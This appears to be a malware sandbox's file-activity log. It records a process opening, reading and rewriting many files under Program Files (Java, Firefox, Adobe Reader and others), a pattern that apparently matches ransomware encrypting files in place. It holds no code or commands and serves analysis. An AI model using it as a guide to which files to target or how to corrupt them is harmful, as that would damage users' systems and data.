File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\cacerts, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\cacerts, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\cacerts, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\cacerts, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\cacerts, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\README.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\README.txt, size = 46, size_out = 46	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\README.txt, size = 1462	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi, size = 7811, size_out = 7811	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi, size = 9227	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\freebl3.chk, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\freebl3.chk, size = 899, size_out = 899	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\freebl3.chk, size = 2315	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\plugin-hang-ui.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\plugin-hang-ui.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\plugin-hang-ui.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\plugin-hang-ui.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\plugin-hang-ui.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.VisualBasic.Targets, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.VisualBasic.Targets, size = 5182, size_out = 5182	1	Fn Data
File	Write	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.VisualBasic.Targets, size = 6598	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ar-sa\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ar-sa\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ar-sa\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ar-sa\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ar-sa\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-AU\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-AU\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-AU\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-AU\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-AU\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-US\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-US\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-US\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-US\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-US\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\eu-ES\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\eu-ES\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\eu-ES\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\eu-ES\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\eu-ES\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hu-HU\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hu-HU\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hu-HU\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hu-HU\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hu-HU\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\metadata.json, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\metadata.json, size = 317, size_out = 317	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\metadata.json, size = 1733	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Back_0000_Hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Back_0000_Hover.png, size = 1209, size_out = 1209	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Back_0000_Hover.png, size = 2625	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\WindowsUpdatePrivacySetting.scale-200.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\WindowsUpdatePrivacySetting.scale-200.png, size = 5857, size_out = 5857	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\WindowsUpdatePrivacySetting.scale-200.png, size = 7273	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\vi-VN\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\vi-VN\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\vi-VN\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\vi-VN\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\vi-VN\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.007.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.007.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.007.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.007.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.007.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Mail\en-US\msoeres.dll.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Mail\en-US\msoeres.dll.mui, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_RHP.aapp, size = 382, size_out = 382	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_RHP.aapp, size = 1798	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\OptimizePDF_R_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\OptimizePDF_R_RHP.aapp, size = 432, size_out = 432	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\OptimizePDF_R_RHP.aapp, size = 1848	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\LICENSE.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\LICENSE.txt, size = 1691, size_out = 1691	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\LICENSE.txt, size = 3107	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Accessibility.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Accessibility.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Accessibility.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Accessibility.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Accessibility.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DVA.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DVA.api, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DVA.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DVA.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DVA.api, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PDDom.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PDDom.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PDDom.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PDDom.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PDDom.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StorageConnectors.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StorageConnectors.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StorageConnectors.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StorageConnectors.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StorageConnectors.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\pmd.cer, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\pmd.cer, size = 420, size_out = 420	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\pmd.cer, size = 1836	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\ended_review_or_form.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\ended_review_or_form.gif, size = 807, size_out = 807	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\ended_review_or_form.gif, size = 2223	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviewers.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviewers.gif, size = 1452, size_out = 1452	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviewers.gif, size = 2868	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_lg.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_lg.gif, size = 1255, size_out = 1255	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_lg.gif, size = 2671	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOnNotificationInTray.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOnNotificationInTray.gif, size = 1002, size_out = 1002	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOnNotificationInTray.gif, size = 2418	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win.css, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win.css, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner.gif, size = 556, size_out = 556	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner.gif, size = 1972	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons_retina.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons_retina.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons_retina.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\illustrations_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\illustrations_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\illustrations_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner_dark2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner_dark2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner_dark2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner_dark2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adobe_spinner.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adobe_spinner.gif, size = 556, size_out = 556	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adobe_spinner.gif, size = 1972	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons_retina.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons_retina.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons_retina.png, size = 16384	1	Fn Data
